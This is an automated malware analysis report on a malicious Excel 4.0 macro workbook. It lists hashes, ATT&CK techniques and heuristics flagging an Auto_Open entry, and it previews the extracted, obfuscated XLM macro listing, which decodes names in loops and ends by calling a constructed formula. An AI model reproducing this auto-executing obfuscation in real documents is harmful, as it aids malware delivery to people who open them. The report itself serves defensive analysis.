Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec99ed93e8e95099…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:50 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 7d92d073f6c082cfd4edffe8be48c181 SHA-1: 9e17576fba75783a4951f94a868f5d58ceef8ad8 SHA-256: ec99ed93e8e95099e80273084b8176c49c3ce6afeb28f7e070d0679ff2218a2e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open defined name, which is a critical indicator of malicious intent. This technique is commonly used to execute arbitrary code upon opening the document, typically to download and run a secondary payload. No specific family could be identified, and no direct IOCs like URLs or hashes were extracted from the macro content.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6520 bytes
SHA-256: af19d7d60d4baa8ba86f42c91449af42b5b795f9e141855a671026eb9febb775
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BBko
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D179 
' 0018     20 LABEL : Cell Value, String Constant - BSHlq len=0 
' 0018     26 LABEL : Cell Value, String Constant - BWVMqudEXlL len=0 
' 0018     26 LABEL : Cell Value, String Constant - DbvNSfauEGV len=0 
' 0018     21 LABEL : Cell Value, String Constant - glyIyD len=0 
' 0018     21 LABEL : Cell Value, String Constant - GXJsgz len=0 
' 0018     20 LABEL : Cell Value, String Constant - hKqno len=0 
' 0018     24 LABEL : Cell Value, String Constant - JAYoJhGQP len=0 
' 0018     25 LABEL : Cell Value, String Constant - LQPdWCWqAV len=0 
' 0018     21 LABEL : Cell Value, String Constant - ONZzEK len=0 
' 0018     25 LABEL : Cell Value, String Constant - osDhTbCAzw len=0 
' 0018     20 LABEL : Cell Value, String Constant - PQSgf len=0 
' 0018     23 LABEL : Cell Value, String Constant - QfaNlggo len=0 
' 0018     21 LABEL : Cell Value, String Constant - tREhnI len=0 
' 0018     20 LABEL : Cell Value, String Constant - UFWzs len=0 
' 0018     20 LABEL : Cell Value, String Constant - ukilc len=0 
' 0018     23 LABEL : Cell Value, String Constant - vkZNlmLG len=0 
' 0018     21 LABEL : Cell Value, String Constant - wkdCCs len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZeSESBG len=0 
' 0018     22 LABEL : Cell Value, String Constant - zKxlkIw len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZqeDxlcOVx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BBko,S73,"",60.00000000000000000000
'  BBko,S74,"",950.00000000000000000000
'  BBko,S75,"",-296.00000000000000000000
'  BBko,S76,"",-374.00000000000000000000
'  BBko,S77,"",-652.00000000000000000000
'  BBko,S78,"",-317.00000000000000000000
'  BBko,D85,"SET.NAME("GXJsgz",0+VALUE("0"))",""
'  BBko,D90,"SET.NAME("glyIyD",GXJsgz)",""
'  BBko,D94,"SET.NAME("osDhTbCAzw",GXJsgz)",""
'  BBko,D96,"SET.NAME("ZeSESBG",COUNTA(ONZzEK))",""
'  BBko,D100,"SET.NAME("vkZNlmLG",COUNTA(QfaNlggo))",""
'  BBko,D105,[],""
'  BBko,D110,"SET.NAME("BSHlq","")",""
'  BBko,D113,"glyIyD",""
'  BBko,D116,"SET.NAME("hKqno",HLOOKUP("*",ONZzEK,glyIyD,FALSE))",""
'  BBko,D120,"tREhnI",""
'  BBko,D125,"SET.NAME("ukilc",GXJsgz)",""
'  BBko,D130,[],""
'  BBko,D133,"ukilc",""
'  BBko,D135,"LQPdWCWqAV",""
'  BBko,D137,"ZqeDxlcOVx",""
'  BBko,D139,"UFWzs",""
'  BBko,D144,"SET.NAME("JAYoJhGQP",VALUE(HLOOKUP("*",QfaNlggo,UFWzs,FALSE)))",""
'  BBko,D149,"DbvNSfauEGV",""
'  BBko,D153,"BSHlq",""
'  BBko,D155,"osDhTbCAzw",""
'  BBko,D160,NEXT(),""
'  BBko,D162,"zKxlkIw",""
'  BBko,D167,[],""
'  BBko,D169,"BWVMqudEXlL",""
'  BBko,D171,NEXT(),""
'  BBko,D176,RETURN(),""
'  BBko,D203,"SET.NAME("wkdCCs",D85)",""
'  BBko,D208,"ONZzEK",""
'  BBko,D210,"SET.NAME("QfaNlggo",R72C12)",""
'  BBko,D214,"SET.NAME("BWVMqudEXlL",224)",""
'  BBko,D218,"SET.NAME("PQSgf",4)",""
'  BBko,D223,wkdCCs(),""
'  BBko,D224,HALT(),""